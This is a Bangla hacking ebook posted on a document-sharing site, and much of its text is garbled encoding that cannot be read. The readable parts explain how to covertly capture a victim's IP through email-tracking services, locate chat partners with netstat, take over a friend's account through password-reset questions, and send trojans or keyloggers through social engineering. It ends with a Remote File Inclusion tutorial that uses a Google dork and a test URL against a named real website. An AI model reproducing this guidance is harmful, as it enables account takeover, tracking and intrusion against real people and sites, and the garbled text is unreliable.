hacking bangla ebook

92

Upload: kinamedebo

Post on 24-Oct-2015

159 views

Category:

Documents


13 download

DESCRIPTION

what is hacking...

TRANSCRIPT

Page 1: Hacking Bangla eBook

ফারক িঅহমমদ তা পাতার সিপাসহ Mystrious Tusin Jack nax

িসিববাসিতটিউিার Cyan Tarek

pirate_king Log Out

মমমহসদ হািাি Shojib

মারফ িঅম Niloy

হযাসকিং লবদটির মমযযিআ রমেমে একটা ঐশবযবযকর ভাবমসতব লবদটার মমযযিআ রমেমে দমভ মোটট বাচচা মেমক শর কমর বদধ িবারিআ হযাসকিং মলোর িঅগরহ িতযাসযক িঅর এর সিসরমে কাজ কমর একটািআ সিমজমক হযাকার ততসর করার দমভ তমব হযাসকিং দ-সদক মথমক উমে িঅমি িঅমামদর িামমি এক হযাসকিং সলমথ িমিযরেসত করা দিআ সিমজমক হযাকামরর কাজ মথমক বাািামিা পরথমটি িবলযিআ দনডিীে িঅপরায তব এটার পরসত িঅগরহ িমিকািংলিআ মবলী হযাকার হমত হম িবলযিআ মকাস িং এ দে হমত হমব মযটা হ মবসিক হযাসকিংমের পরথম কাজতািআ িঅপিামদর হযাসকিংমের সকে পরাথসমক যারিা সদমত িকমর িসবযার জিয িঅমরা হযাসকিংমের িামথ পসরসিসত এবিং সকে বযাসিক টিউমটাসরো সিমে একটি িআ-বক পরকাল করাম এোমি হযাসকিংমের টিউমটাসরো গমামক উদাহরণ েসব rsquoর

িাহামযয িহজভামব উপসথাপি করার মিষটা করাহমেমে হযাসকিং একটি িমিক সবলা কিমিপটযা একটি মাতর বিআমে িিংকি করা িমভব িে তািআ িঅমরা এর িঅর েণড এবিং িিংসকরণ িামমি মবর করব

যিযবাদমে

ফারক িঅহমমদ wwwfbcommdfaroqueahmed

যাকায চছেন সআ ফযকতি কতমকতন কতনযাততাকতনযাততায াচছথ জকতিত এফং কতনযাততা ফযফসথায দফবর কতদক খচছজ সফয কযায কতফচছলবাচছফ দকষ থফা নয ককতিউটায ফযফসথায বফধ নপরচছফ কযচছত কষভ ফা এয িচছকব গবীযজঞাচছনয কতধকাযী াধাযনবাচছফ যাকায বদটি কাচছরা-টকত যাকায চছথবআ ফচছচচছয সফকত ফযফহত য মাযা ভরত ধবংভরক ফা যাধভরক কভবকানড কচছয থাচছকন এছািা অচছযা ননকততক যাকায যচছযচছছন (মাযা াধাযনবাচছফ াদা টকত যাকায নাচছভ কতযকতচত) এফং ননকততকতা িচছকব কতযষকায যাকায অচছছন মাচছদয ধয টকত যাকায ফচছর এচছদয ভচছধয াথবকয কযায জনয পরায করযাকায বদটি ফযফায কযা য মা ককতিউটায কতনযাততা যাকায সথচছক একাচছডকতভক কতফলচছযয যাকায সথচছক অরাদা কযায জনয ফযফায কযা য থফা াধ যাকায (কাচছরা টকত যাকায) সথচছক ননকততক যাকাচছযয (াদা টকত যাকায) াথবকয ফঝাচছত ফযফহত য যাকাযযা বাচব যার জগচছত নতন কতকছ কতি কযচছত াচছযভযায ভাধান কযচছত াচছয তাযা সবাধীনতা এফং াযসপকতযক চছমাগীতায কতফশবাী যাকায যায ফবপরথভ তব চছে অনাচছক অচছগ ঠিক কযচছত চছফ অকতন সকান ধযচছনয যাকায চছফন উচছয ৩ ধযচছনয যাকায িচছকব ফরা চছযচছছঅনাচছদয কতফধাচছথব অচছযকট সাি কযকতছ

াদা টকত যাকায (White Hat Hacker)- এযা ককতিউটায তথা াআফাযযাচছডব য কতনযাততা পরদান কচছয এযা কখন চছযয কষকতত াধন কচছয নাএচছদযচছক আকতথকার যাকায ফরা চছয থাচছক

ধয টকত যাকায (Grey Hat Hacker)- এযা এভন একধযচছনয যাকায মাযাাদা টকত কাচছরা টকতচছদয ভধযফতী সথাচছন ফসথান কচছয এযা আচছে কযচছরকায কষকতত াধন কযচছত াচছয অফায উকায কযচছত াচছয

কাচছরা টকত যাকায (Black Hat Hacker)- যাকায ফরচছত াধাযনত কাচছরা টকতযাকাযচছদযআ ফঝায এযা ফভযআ সকান না সকান বাচছফ চছযয কষকতত াধন কচছযাআফায যাচছডব এযা ফভযআ ঘকতনত চছয থাচছকএছািা অয কতকছ যাকায ধযন যচছযচছছ সমভন -

কতিপট কতককতড (Script Kidie)- এযা কতনচছজযা কতকছআ াচছয না ফযং কতফকতবননটরস ফা চছনযয ফানাচছনা কতিপট ফযফায কচছয এযা কাচছমবাকতকতি কচছয

কতনপাআট ফা সনাফ (Neophyte or nOOb)- এযা যাকতকং কতকষাথী এযা যাকতকং সকফর কতখচছছ নয চছথব এচছদয কতফকতগনায ফা কতনউফাআ ফরা মায

নীর টকত যাকায (Blue Hat Hacker)- এযা অচছর যাকতকংচছযয াচছথ সতভনজকতিত নয সকান পটযায ফা কতরচছখচছছনঃ সভচছকতদ াান

যাকায মাযা

যাকায চছেন একজন ফযাকতি কতমকতন শধভাতর কতফকতবনন ভাধযভকতচছেভ এয খত খচছজ সফয কচছয কতকনত কততকতন এয কষকততাধন কচছযন না একজন যাকায ভরত একজন সপরাগরাভায মায পরধান কাজ চছে নরাআচছন সকান কতচছেচছভয খাযাকতদকগচছরা খচছজ সফয কযা তাযা সপরাগরাভায এফং তাযা সপরাগরাভ নতন নতন খতচছফয কযচছত ফযফায কচছয

যাকায সপাযাভ

অকতন একজন যাকায চছত চছর পরথচছভ অনাচছক কতফকতবনন আকতথকার যাকায মাযাভরত আকতরট (এ ফযাাচছয অচছগয ধযাচছয ফরা চছযচছছ) তাচছদয সথচছক গরতবণব টিগচছরা কতচছখ কতনচছত চছফ অয কতফকতবনন ধযচছনয টি কতনচছয অচছরাচনা য সপাযাচছভকতনচছচ যাকাযচছদয জনয কচছযকটি গরতবণব সপাযাচছভয কতরংক পরদান কযা র সপাযাভগচছরাচছত সমাগকতদন এফং কতনযকতভত সািগচছরা িন সকান কতফলয জানচছত চাআচছর সখাচছনআ াাময চাআচছত াচছযন

wwwhackerthreadsorgwwwhackforumsnetwwwhackerorgforumwwwcrackhackforumcom

যাকতকংকতযচছাব

যাকতকং কযচছত চছর কতফকতবনন পটযযায পরচছযাজন য পরচছযাজন য সকাড কতিপট ডকব আতযাকতদয কতনচছচ কতকছ কতরংক সদযা র সমখান সথচছক অকতন চছনকভরযফান যাকতকং কতযচছাব সচছত াচছযন মা অনাচছক যাকায চছত াাময কযচছফ

httpwwwethicalhackernethttpinsecureorghttphackerresourcezcomhttpwwwcertifiedethicalhackercomhttpwwwelitehacknethttpwwwelite-hackerscomhttpwwwexploit-

dbcomhttpwww1337daycomhttpwwwbreakthesecuritycomhttpwwwthehackerslibrarycomhttpwwwport7alliancecomhttpwwwhackersnlhttphackmeintripodcomhttpkyrionhackingtutorialscomhttp

wwwhacking-gurusnethttphackmyasswordpresscomhttpwwwborntohackinhttpwwwcriticalsecuritynethttpww

wmpghnethttpwwwduniapasswordcomhttpwwwprogamercitynetযাকায

ভকতব

কতনচছচ কতকছ ভকতবয নাভ সদযা র মা একজন যাকাচছযয সদখা তযানত গরতবণব তাচছর এখনআ অযমভ কচছয কতদন কতফচছনাদন অয যা সকানটা সকভন রাগচছরা স িচছকব সযায কযচছত বরচছফন না কতকনত বাচছরা থাকচছফন অভায জনয সদাযা কযচছফন অজ এ মনতবআ

TRON (1982) THE GIRL WITH THE DRAGON TATTOO (2009) WARGAMES (1983) DIE HARD 4LIVE FREE OR DIE HARD (2007) SNEAKERS (1992) THE MATRIX (1999) EXISTENZ (1999) THE

CONVERSATION (1974) THE SCORE (2001) FOOLPROOF (2003) HACKER (1995) ANTITRUST (2001) PIRATES OFSILICONVALLEY(1999) THE LAWNMOWER MAN (1992) THE CORE (2003)

VIRTUOSITY (1995) TAKEDOWN (2000) DEJA VU (2006) ONE POINT O (2004) REVOLUTION OS (2001) THE NET (1995) TRON LEGACY (2010) THE ITALIAN JOB (2003) DISCLOSURE (1994)

JURASSICPARK(1993) SWORDFISH (2001) THE THIRTEENTH FLOOR (1999) UNTRACEABLE (2008) GAMER (2009)

কতরচছখচছছনঃ সভচছকতদ াান

যাকতকং অআকত চছনক গরতব ণব একটি কতফলয অজ অভযা অআকত িচছকব জানফ অন তাচছর শর কযা মাক অভা অআকত এচছে কতক

IP Address কতক এফং তায খটিনাটী

IP Address কতক IP Address ফা Internet ProtocolAddress র একটি ংখযাকতফচছল মা Network-এ মিপরকততটি Device-এয জনয কতনধবাকতযত মাযা Communication-এয জনয Internet Protocol ফযফায কচছয পরকততটি IP Address

র Unique অকতন মখন একটা কতনকতদব ি IP Addressফযফায কযচছছন তখন সটা অয সকউ ফযফায কযায মভফনা সনআ IP Address কতদচছযআ Network ফযফাযকাযীচছক নাি কযা যঅকতন সম Internet ServiceProvider-এয কাছ সথচছক Internetসফা াচছেন তাযা এআ IPAddress-এয ভাধযচছভআ অনাচছক অরাদাবাচছফ নািকযচছত াচছয

IP Address-এয কাজ কতক IP Address-এয ভরত দlsquoটি কাজ যচছযচছছ

1Host ফা Network Interface নািকযণ মাচছত অকতন ঠিকবাচছফ অনায কাকতিত Communication িনন কযচছত াচছযন

2Network ফযফাযকাযীয ফসথান খচছজ সফয কযা পরকততটা IP Address একটা কতনকতদব িসথানচছক কতনচছদব কচছয তাআ অকতন সকান জাযগা সথচছক Network ফযফায কযচছছন এটা IPAddress-এয ভাধযচছভ জানা মায IP Adderss-গচছরা র Binary Number কতকনত সফাঝায কতফধায জনয এগচছরাচছক ভানচছলয ঠনচছমাগযংচছকত (কষয ফা ংখযা) কতদচছয পরকা কযা চছয থাচছকIP Address-এয Version

যাকাযচছদয জনয একটি কতত গরতবণব কতজকতন চছে এআ IP Address সমচছত IPAddress-এয ভাধযচছভ Network

ফযফাযকাযীয সথান জানা মায তাআ যাকাচছযয জনয IP Addressরকতকচছয যাখা খফআ জরযী একটা কাজ নাচছর যাকাচছযয ফসথান পা চছয মাযায একটা চানস থাচছক

অনায কতনচছজয অআকত এচছে সদখা

পরথচছভ Start-gtRun-gtখাকতর ঘচছয কতরখন cmd এফায কী-সফাডব সথচছক এনটায চানএকটি কভানড একতযযা সদখচছত াচছফন সখাচছন কতরখন netstat ndashn এনটায চান একটি কতরে অনায াভচছন অচছফ সরাকার এচছেচছয কতদচছক সখযার করন সমটি পরথচছভ অচছফ সটিআ অনায অআকত এচছে কতিতীয কতনযভ অনায বরাউজাচছযয এচছে ফাচছয কতরখন wwwwhatismyipcom

একটি চছযফাআট খরচছফ সখাচছনআ ফি কষচছয অকতন অনায ফতব ভান অআকত সদখচছত াচছফন কতনচছচয কতরেটি ভচছন যাখন যফতীচছত কাচছজ রাগচছফ

ftpmdash-gt21smtpmdashgt25dnsmdash-gt53httpmdashgt80httpsmdash-gt81pop3mdash-gt110telnetmdashgt23

নামবাযগচছরা চছে সাটব নামবায এ িচছকব চছয সকান এক ভয অচছরাচনা কযা চছফ

সকান চছযফাআচছটয অআকত সফয কযায কতনযভ

মকতদ অকতন সকান চছযফাআট ফা সকান ফযকতিয একাউনট ফা তায কতকত যাক কযচছফন তাচছর ফপরবথভ সম কাজটি কযচছত চছফ তা চছে তায অআকত এচছে ংগর কযা মতকষন মনতব না অকতন তায অআকত এচছে সফয কযচছত াযচছছন ততকষন মনতব অকতন তায কতক আ ফা কযচছত াযচছফন এখন অনাচছদয সদখাকতে সমবাচছফ সকান চছযফাআচছটয অআকত এচছে সফয কযচছফন

পরথচছভ Start-gtRun-gtখাকতর ঘচছয কতরখন cmd এফায কী-সফাডব সথচছক এনটায চানএকটিকভানড একতযযা সদখচছত াচছফন সখাচছন কতরখন tracert websitename এনটায চান এখন কতকছ তথয সবযংকতকরযবাচছফ অনায াভচছন অচছফ অকতন সখাচছন নীরযংচছযয কতকছ সরখা সদখচছত াচছফন অকতন সখাচছনআ অনায কাকতিত অআকত এচছে টি সদখচছত াচছফন নীর সরখাগচছরায পরথভ রাআচছনআ অকতন অআকতটি সদখচছত াচছফন কতিতীয রাআন এবাচছফ চছফারচব ৩০টি হ সদখচছত াচছফন

হচছয ফযাখযা

মখন অকতন সকান চছযফাআচছট পরচছফচছয সচষঠা কচছযন তখন অকতন সবযংকতকরযবাচছফ কতকছতথয সআ চছযফাআচছটয কাচছছ সপরযন কচছযন মায পরকততউততচছয সআ চছযফাআটটি অনায কাচছছ কতকছ তথয সপরযন কচছয (মায পরাপর সবর অকতন চছযফাআট টিচছক সদখচছত ান)এআ পরকতকরযাটি চরচছতআ থাচছক ভচছন করন অকতন কভানড একতযযায কতরখচছরন tracert yahoocom

তখন অনায এআ তচছথযয যাচছকজটিগগচছরয াবব াচছয (চছমখাচছন তথয জভা থাচছক) মাচছফ গগর অনাচছক এয পরকততউততযাঠাচছফ সমচছত গগর একটি ফি াআট সচছত এয চছনকগচছরা াবব ায যচছযচছছতযাং পরকততউততযগচছরা সকর াবব ায সথচছকআ অচছ এফায অকতন অনায কভানড একতযযায রকষ করন সখাচছন চছফারচব ৩০টিয ভত অআকত হ যচছযচছছ এতগচছরা অাযভাচছন চছে গগর তায মতগচছরা াবব ায সথচছক অনায কাচছছ তথয সপরযন কযচছছ সআ াবব াযগচছরায অআকত হআ অকতন সদখচছত াচছেন

কভানডএকতযযায অকতন ধযচছনয কতকছ কতচন সদখচছত াচছফন এয ভাচছন চছে এআ সম সসথানগচছরাচছত পাযাযযার সথান কযা যচছযচছছ মাচছত কচছয সম সকউ চছজ অকরভনকযচছত না াচছয

াধাযন বর-ধাযনা

চছনচছকআঅচছছন মাযা ভচছন কচছযন সম আনটাযচছনট সথচছক সকান উরচকষভতা িনন সপকব াতযতথয ফা তথযাকতদ সদখা ফা জানা মায না অচছর এটি বর ধাযনা ভচছন করন আনটাযচছনচছট চছনচছকআ টপাআর ফা সযকতডচছযাচছযয কতপরকতভযাভ একাউনট সদয মাচছথচছক অকতন উকত ন কতকনত ভযা চছে অকতন জাচছনন না এআ একাউনট সকাথা সথচছক সদযা চছযচছছ অকতন আচছে কযচছরআ এফ তথয জানচছত াচছযন

মখন অকতন কভানড একতযযায সকান চছযফাআচছটয কতফযীচছত nslookup কতরচছখ এনটায কতদচছফনতখন যত এযকভ সরখা অচছত াচছয সম You are now authentized to this route

এযকভ কতকছ সরখা সদখচছরআ অকতন ফচছঝ সনচছফন সম আ চছযফাআচছট সপকব াতয তথযযচছযচছছ আ চছযফাআট িচছকব কতফসতাকতযত জানচছত অকতন কতনচছচয চছযফাআটগচছরাফযফায কযচছত াচছযন

wwwsamspadecomwwwdnsstuffcomwwwwhoisnet wwwwhois ঐ কর চছযফাআচছট শধভাতর চছযফাআটটিয নাভ কতদচছযআ অকতন এযঅআকত সথান ভাকতরচছকয নাভ কচছফ সকনা চছযচছছ সভযাদ কত কতদচছনয নদকতনক কতবকতজটযংখযা সনভ াবব ায আতযাকতদ কতফকতবনন তথয জানচছত াযচছফন তথয সজাগাি কযাএকজন যাকাচছযয পরাথকতভক কাজ এটি না কযচছর অকতন কতকছআ কযচছত াযচছফন না

কতরচছখচছছনঃ সভচছকতদ াান

আচছভআর দাতায অআকত ননধান

অনায সভআরফকস খরন তায সথচছক সমচছকান একটি আচছভআর খরন Reply-সত কতিককরন এফায Show original এ কতিক করন এখন সম তথযগচছরা অচছফ সগচছরা খফবাচছরাবাচছফ সখযার করন সখাচছনআ অকতন যত আচছভআর দাতায অআকত সদখচছত াচছফন কতকনত gmail সথচছক মকতদ সকউ অনাচছক সভআর কচছয তাচছর এআ িকতত নাচছয অকতন অআকত খচছজ াচছফন না এখন উায যা যা কতসথয চছফন না একষকতন তা ফরকতছ

অচছর ভর ফযাাযটি চছে gmail ফভয https ফযফায কচছয অভযা াধাযনত চছযফাআচছটয এচছেচছ সদখচছত াআ http মায িণব র চছে Hyper Text Transfer Protocol অয https চছে এআ http এয secured র অা ককতয ফঝচছত সচছযচছছন মায কাযচছনআ কতজচছভআচছর অকতন অআকত খচছজ াচছফন না এখন সমআ িকততটিয কথা অনাচছদয ফরফ সটি চছে পরায ফ ধযচছনয আচছভআর এচছে (আযাহচছভআর কতজচছভআর এভএএন আতযাকতদ) সথচছক অআকত সফয কযায িকততপরথচছভআ httpreadnotifycom াআটটি খরন এযয এখাচছন সযকতজচছেন করনএখন অকতন মায আচছভআর এচছে ননধান কযচছত চান তায ফযাযফ একটি সভআর কতরখন এফায আচছভআর ট সকন একতযযায কতরখন

victimlsquosemailidrednotifycom াঠিচছয কতদন মখন স আচছভআরটি িচছফ তখন সবযংকতকরযবাচছফ অনায কতযডচছনাটিপাআ একাউচছনট তায অআকত চচছর অচছফ অচছর কতযডচছনাটিপাআ একটি সবযংকতকরয রকাচছনা ছকতফ অনায আচছভআচছরয াচছথ ঐ ফযাকতি ফযাফয াঠিচছয সদয মায পচছর অকতন তায অআকত সচছয মান িকততটি খফ কাচছজয

ঐ চছযফ াআড টি ছনদ না চছর গচছরা ফযফায কযচছফনঃ

httpwwwdidtheyreaditcom

httpwwwpointofmailcom

ফসথান ননধান অভযা সতা অআকত সরাভ এফায সদখফ কতকবাচছফ ঐ ফযাকতিয ফসথান িচছকব জানা মায থবাৎ ফযাকতিটি সকান সদচছয সকান চছয অচছছ তা জানাপরথচছভআ httpwwwip2locationcom াআটটি খরন এআ াআটটিয খাকতর ঘচছয অনায কাকতিত অআকত এচছেটি ফকতচছয কতদন অয ভজা সদখন

অকতন মায াচছথ চযাটিং কযচছছন তায ফসথান জানা

অকতন মায াচছথ চযাটিং কযচছছন তাচছক তায অআকত মবচছনধ কতজচছগয করন সফরচছর সতা ফরচছত চছফ অনায বাগয পরনন অয না ফরচছর কতক কযচছফন একট চছকষা করন ফরকতছ এখাচছন একটি ফযাায উচছেখ কযায ভত অয তা চছে অচছগ অভযা একটি কভাচছনডয াচছথ কতযকতচত চছযকতছরাভ netstat -n এয কথা ভচছন অচছছ যা এআকভানডটি খফআ গরতবণব অকতন আনটাযচছনচছট মতগচছরা কাচছনকচছনয াচছথ মি অচছছন ঠিক ততগচছরায তথযআ এআ কভানডটিয ভাধযচছভ াযা মাচছফ অচছযকট সবচছে ফরকতছ ধরন ভচছন করন অকতন সপফচছককতজচছভআচছর এফং সটকটিউনচছ একআ চছে পরচছফকচছয অচছছন উচছযয কভানডটি এআ কততনটি াবব ায িচছকব আ অনায কাচছছ তথযাপলাআ কযচছফ ফতব ভাচছন আনটাযচছনচছট এক এক ফযাকতি চযাটিং এয এক এক নথাফযফায কচছয সমভন ICQ Messenger

MSN Messenger Yahoo Messenger Gtalk Meebo Gigsby AIM আতযাকতদ তাচছর ফঝন কতটক ঝাচছভরায কাজ কযচছত মাচছেন অকতন অয এ কাযচছনআ কতনচছচ ধাচছ ধাচছ কচছযকটি সকষতর সদযা র রকষকরন

সকষতর-১ মকতদ অকতন ICQ Messenger এ চযাট কচছযন অয সখাচছনয কায ফসথান জানচছত চান তাচছর এ িকততটি কাচছজ রাগান ICQ Messenger এয কাজ কযায ধযন চছে (অকতন-gtঅনায ফনধ-gtঅকতন) এআবাচছফ তাআ কায অআকত ংগর কযাএচছকষচছতর খফ জ কাজ ভচছন করন অকতন কায অআকত জানচছত চাচছেন তাচছর তাচছক কতট করন কতকনত চযাটিং শর কযচছফন না এফায Start-gtRun-gtcmd-gtnetstat -nএনটায কতদন সম অআকতগচছরা অচছফ তা সকান যাপ কাগচছজ কতরচছখ যাখন এফায অকতন তায াচছথ চযাটিং অযমভ করন অফায Start-gtRun-gtcmd-

gtnetstat -nএনটায কতদন এফায অকতন সখাচছন নতনএকটি অআকত সদখচছত াচছফন অয এআ ফযাকতিয াচছথআঅকতন এখন চযাটিং এ ফযাসতএফায কতকবাচছফ তায ফসথান সফয কযচছফন তা কতনশচযআ অয ফচছর কতদচছত চছফ না

সকষতর-২

Yahoo Messenger MSN Messenger GTalk Messenger এয সকষচছতর উচছযাি সভচছনজাযগচছরায কাজ কযায ধযন চছে (অকতন-সভচছনজাচছযযাবব ায-অনায ফনধ) এআবাচছফ এখাচছন মকতদ অকতন সকষতর-১ এয িকতত কাচছজ রাগান তাচছর অকতন সভচছনজাচছযয অআকত াচছফন ফযাকতিয না এআচছকষচছতর অকতন চারাচছত াচছযন সাযার আকতনজকতনযাকতযং মকতদ এটা কতনচছয যফতী ধযাচছয অচছরাচনা চছফ তথাকত এখাচছন কতকছ কতযকতচকতত সদযা চছে সাযার আকতনজকতনযাকতযং চছে কাউচছক সফাকা ফাকতনচছয তাচছক যাকতকং কযা অয এআ সভচছনজাচছযয সকষচছতর (ভচছন যাখচছফন কতধকাং সভচছনজাযআ এআ কাজটি কচছয থাচছক) অকতন অনায াচছথ চযাটিংকত ফযাকতিটিচছক ফরন অনায কাচছছ সকান পাআর াঠাচছত ফা তাচছক অকতনকতকছ াঠাচছত াচছযন সটা চছত াচছয সকান ছকতফ ফা অনায ছকতফ মকতদ স যাকতজ য তাচছর সকষতর-১ এয িকতত চাকতরচছয মান মখন অকতন তায াচছথ চযাটিং কযচছফন তখন অকতন কততকতযি সম অআকত এচছেটি সদখচছত াচছফন সটি চছে সভচছনজাচছযযঅআকত অয মখন স অনায কাচছছ সকান কতকছ াঠাচছফ তখন অচছযকটি নতন অআকত সদখচছতাচছফন সটি চছে তায অআকত এছািা অয একটি উায অচছছ তা র অকতন তাচছক অনায কাচছছ একটি সভআর াঠাচছত ফরচছত াচছযন মখনআ স সভআর াঠাচছফ অকতন কতযডচছনাটিপাআ িকতত চাকতরচছয মান মা অচছগ ফরা চছযচছছ সকান পরশন

সকষতর-৩

Meebo Gigsby Trillion আতযাকতদ ভাকতি চযাটিং আকতনজচছনয সকষচছতর এচছকষচছতর সকান িকতত সনআ শধ এতটকআ কযা মায তা র অকতন ফরচছত াচছযন অনাচছক সভআর কযচছত অয অকতন কতযডচছনাটিপাআ িকতত চারাচছত াচছযন অচছর কায অআকত াযা সতভন কঠিন কাজ নয অয এটা সতভন ফি ধযচছনয কাজ নয অআকতএচছেচছয ফযাাচছয ফরচছত সগচছর চছনক কথা ফরচছত য অআকত এচছে যচছযচছছ কতফকতবনন ধযচছনয অফায সখাচছন াফচছনট অআকতড এফং সাে অআকতড নাভক ফযাায যচছযচছছ এছািা অকতন একটি চছযফাআট শধ অআকত এচছে কতরচছখআ পরচছফ কযচছত াচছযন মকতদ সখাচছন সকসা টরানসপায এফং সকাসটরা টরানসপায নাভক ব

কতরচছখচছছনঃ সভচছকতদ াান

সাযার আকতনজকতনযাকতযং শধভাতর আনটাযচছনট জগচছতয াচছথআ মি নয ফযং তাঅভাচছদয সবাবাকতফক জীফনমাতরায াচছথ জকতিতঅকতন সকান সভচছযয াচছথ দ-নমবকতয (জ ফাংরা ফযফায কযরাভ-কতকছ ভচছন কযচছফন না) কযচছর সটা চছফ সাযার আকতনজকতনযাকতযং কতনচছজয কাচছমািব াচছযয জনয চছযয কাচছছ কতভথযা ফরচছর সটা চছফ সাযার আকতনজকতনযাকতযং ভরত কতনচছজয কাচছমািব াচছযয জনয চছযয সকান র কষকততাধন কযাচছকআ ফচছর সাযার আকতনজকতনযাকতযং

অনায ফনধয একাউনট যাকতকং কযচছত চাআচছর Forget password এ কতিক কচছযআ াধাযন কচছযকটি পরচছশনয উততয কতদচছযআ অকতন যাক কযচছত াচছযন কাযন ভানল ঐ কর জাযগায কতকছ াধাযন পরশনআ সফচছছ সনয অয অকতন অনায ফনধয াধাযনচছতা অচছছআ এভনকতক চছনক সগান তথয জাচছনন তাআ নয কী তাচছর সদখা মাচছে এখাচছন সাযার আকতনজকতনযাকতযং একটি গরতবণব কতফলয

মখন সটকতরচছপান পরথভ অকতফষকত র তখন কতফচছশবয পরথভ যাকায সটকতরচছপাচছনয ফযফাযকতফকতধ খফবাচছরাবাচছফ মচছফকষবন কযর স সদখর সম মখন অভযা কাউচছক করচছদআ তখন এআকরটি পরথচছভ সটকতরচছপান কতপচছ মায চছয কাকতিত ফযাকতিটিয কাচছছ মায তখনযাকায কতকছ চকচছরট নতযী কচছয তায চছকচছট যাখর াচছথ যাখর একটি ফাকতস এআ ফরর সম চকচছরচছটয াচছথ এটা একটি কতগফট এফায ভানচছলযা এফং তাচছদয ফারচাযা ফাকতগচছরা িাযা য তরচছত রাগর মায পচছর কতি র একধযচছনয তযে মা সটকতরচছপান াবব াচছযয তযচছেয ভত এটাআ যফতীচছত যাকাযচছদয াযাকতফচছশব কতফনাভচছরয কর কযচছত াাময কযর

িণব পরকযাটি রকষ করন স শধ কতনচছজয কতচনতা কাচছজ রাগার এফংএকটি সছাটফাকত নতযী কযর তাচছর সদখন সাযার আকতনজকতনযাকতযং খফআগরতবনবঅকতন সকান কতকছচছক ফি কযচছত চছর সাযার আকতনজকতনযাকতযং এযাাময ফযাকতততমভফ নয

অনায ফনধয কব ট একাউনট যাকতকং কযচছতচাআচছর Forget password একতিক কচছযআ াধাযন কচছযকটি পরচছশনয উততয কতদচছযআ অকতন যাক কযচছত াচছযন কাযন ভানল ঐকর জাযগায কতকছ াধাযন পরশনআ সফচছছ সনয অয অকতন অনায ফনধয াধাযন সতা অচছছআ এভনকতক চছনক সগান তথয জাচছনন তাআ নয কী তাচছর সদখা মাচছে এখাচছন সাযার আকতনজকতনযাকতযং একটি গরতবণব কতফলয

মিািযা িআসজজসিোসরিংমের লসিলাী িিংজঞা

ভানলকতক বাচব যার জগচছত মাকতচত কাজ সমভন সকান কচছবাচছযট কতপচছয সনটযাচছকব পরচছফ তাচছদয নরাআন কতকতকউকতযটি পাযাযযার একাউনট আতযাকতদ কতনকতফিবাচছফ মচছফকষবন কচছয তাচছত অকরভন কযা এচছকষচছতর কতফকতবনন ধযচছনয পটযযাচছযয াাময সনযা মায ফা কতনচছজয ফানাচছনা সকান াডব যযায ফা সকাকতডং কাচছজ রাগাচছনা মায

ভচছন করন অনায আচছভআচছর এর এযকভ একটি ফাতব া সম Congrats You have got 100000 free visitor CLICK

HERE for withdraw এবাচছফ পরকততকতদন ভগর কতফচছশব াজায াজায ভানল তাচছদয সকরকতডটকাচছডব য তথয কতফকতবননগরতবণব তথয নরাআচছন জভা কতদচছে অয যাকতকংচছযয কতকায চছে সাযার আকতনজকতনযাকতযং কতনচছনাি কচছযকটি বাচছগকতফবি

ndashgtimpersonation

mdashgtposing as imp user

mdashgt3rd person approach

mdashgttechnical support

কসিউটার সভসিক মিািযা িআসজজসিোসরিং

কতনচছচয কচছযকটি বাচছগ কতফবি

ndashgtmailim attachments

ndashgtpop up windows

mdashgtsweepstakes

mdashgtspam mail

এআ ধযাচছযয এখাচছনআ ভাকতি ভচছন যাখচছফন সকান কাজ কযায অচছগ এয সাযার আকতনজকতনযাকতযংচছযয ফযাযটি খফ বাচছরাবাচছফ নধাফন কযা উকতচত মখন অভযা কায আচছভআচছর সকান কতকছ াঠাআ এফং স মকতদ কতকছ াঠায সটাআ সাযার আকতনজকতনযাকতযং অয এবাচছফআ অভযা সাযার আকতনজকতনযাকতযং কাউচছক সটরাজান ফা কী-রগায াঠাচছত ফযফায কযফ ফাআ খফ বাচছরা থাকচছফন

কতরচছখচছছনঃ সভচছকতদ াান

অজ সদখাফ Remote file inclusion যাকতকং অনাযা যত জাচছনন না সম যাকতকং কযায সথচছক যাকতকং কতনচছয সাি সরখা অয কঠিন কিকয মকতদ সাি কযচছতন তাচছর ফঝচছতন থাক সাি কযা রাগচছফ না শধ ভনতফয কযচছরআ চছফ ভনতফয কযচছর সাচছিয সরখক উৎাকতত য এচছত তাচছদয সরখায গকতত সবাচনদয ফাচছি তাচছর অয কথা নয এফায শর চছয মাক সািটিhellip

Remote file inclusion যাকতকং এচছক ংচছকষচছ ফচছর RFI যাকতকং এটি ননযা যাকতকং ভযাথচছডয ভচছধয এটি একটি নযতভ জনকতপরয ভযাথড নযনযা িকততয ভচছতা এআ িকততচছত অনাচছক চছযফাআচছটয vulnerability সফয কযচছত চছফ এআ vulnerability এয ভাধযচছভ একজন যাকায একটি চছযফ াবব াচছযয remote file মি কযচছত াচছয অা ককতয RFI যাকতকং িচছকব সভাটাভটি ধাযণা সচছযচছছন

mdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdashmdash

mdashmdashmdashmdashmdash

সকান াআটটি vulnerable কতকবাচছফ ফঝচছফন খফআ কঠিন পরশন তাআ না এআ পরচছশনয উততয জানায জনয কতনচছচয কতরংকটি সদচছখনhellip

httpwwwtargetsitecomindexphppage=Anything

উচছযয কতরংচছকয ভচছতাআ সদখচছত াচছফন সমগচছরা অকতন খজচছেন তনন তনন কচছয এখন এগচছরা ফাকতয কযচছফন কতকবাচছফ গগর ডকদযকায কতনন কতনচছচ গগর ডক কতদরাভ

ldquoinurlindexphppage=rdquo

উচছযয ডকটি গগচছর কতনচছয াচব কতদন তাচছর অনাচছক ―indexphppage= এআ টাআচছয মত চছযফাআট অচছছ

ফগচছরা চছযফাআট গগর অনায াভচছন এচছন াকতজয কযচছফ এখন সকান চছযফাআটটি অজচছকয ভযাথচছডয জনয vulnerable তা যীকষা কচছয সদখচছত চছফ কতকবাচছফ কযচছফন কতনচছচয ভচছতা কচছয করন

httpwwwtargetsitecomindexphppage=wwwgooglecom

এখন ভচছন কচছযন অকতভ অকতভ httpwwwcbspkcomএআ াআটটি খচছজ সচছযকতছ এখন অভযা চাআফ এটা vulnerable কতক না তাচছর কতরখনhellip

httpwwwcbspkcomv2indexphppage=httpwwwtunerpagecom

তাচছর এটি সদখাচছফhellip

এখন মকতদ উি চছযফাআটটি নয চছযফাআট কতনচছয সখাচছর তাচছর ফঝচছফন সম এআ চছযফ াআচছট RFI আচছেকান সদযা মাচছফ এফায অন চছযয ধাচছhellip

